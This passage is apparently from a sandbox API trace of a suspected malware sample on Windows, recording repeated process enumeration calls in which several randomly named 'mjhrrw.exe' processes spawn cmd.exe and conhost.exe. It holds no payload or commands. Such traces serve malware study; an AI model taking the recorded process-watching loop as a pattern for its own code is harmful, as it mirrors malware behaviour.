lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.829] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.829] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.830] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.830] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0281.831] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.832] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0281.832] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0281.918] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0281.932] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0281.933] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0281.934] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.935] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0281.936] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0281.939] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0281.939] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0281.940] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0281.940] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0281.941] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0281.942] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0281.943] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0281.943] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0281.944] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.945] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0282.097] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0282.097] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0282.098] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0282.099] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0282.100] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0282.100] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0282.101] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0282.102] Process32NextW (in: hSnapshot=0x2d8, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0282.103] CloseHandle (hObject=0x2d8) returned 1 [0282.103] Sleep (dwMilliseconds=0x1f4) [0282.862] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x304 [0282.877] Process32FirstW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.878] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0282.879] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0282.880] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.881] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0282.884] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.884] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0282.885] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0282.886] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0282.887] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0282.888] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0282.888] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.889] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.890] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0282.890] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.892] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.893] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.893] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.894] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.895] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.895] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.896] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.897] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.898] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.898] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0282.899] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.900] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0282.900] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0282.901] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0282.902] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0282.903] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0282.904] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.904] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0282.905] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0282.906] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0282.906] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0282.907] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0283.117] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0283.118] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0283.119] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0283.119] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0283.120] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.121] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0283.122] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0283.122] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0283.123] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0283.124] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0283.124] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0283.125] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0283.126] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0283.126] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0283.127] CloseHandle (hObject=0x304) returned 1 [0283.127] Sleep (dwMilliseconds=0x1f4) [0283.785] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x304 [0283.793] Process32FirstW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, 